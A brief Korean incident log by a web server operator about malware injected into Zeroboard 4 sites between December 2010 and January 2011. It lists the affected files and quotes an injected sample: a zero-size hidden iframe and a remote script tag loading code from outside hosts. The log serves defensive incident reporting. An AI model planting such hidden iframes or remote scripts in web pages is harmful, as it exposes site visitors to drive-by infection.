제로보드 4 악성코드 삽입 문제

아래는 웹서버 운영 중에 관찰을 통해서 발견한 사항으로써 아마추어적인 견해이며 100% 맞지는 않음

2010년 12월 20일 최초 발생 감지

php, html 파일 중 config나 index 같은 중요 파일을 변경
http://h.nexprice.com/css/x.htm 주소를 가진 iframe 코드가 삽입 됨
DB로도 접근 함
관련 글타래 [1]

2010년 12월 27일

증상이 심화되어 php, html, png, gif, js 파일 등 종류가 확장
이미지도 스트림으로 끝단에 추가하는듯 -_-;
삽입 코드 예제
<?ob_start();?>
<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
<script src=www.geto.co.kr/state/x.js></script>

2011년 01월 11일 현재까지 잠잠함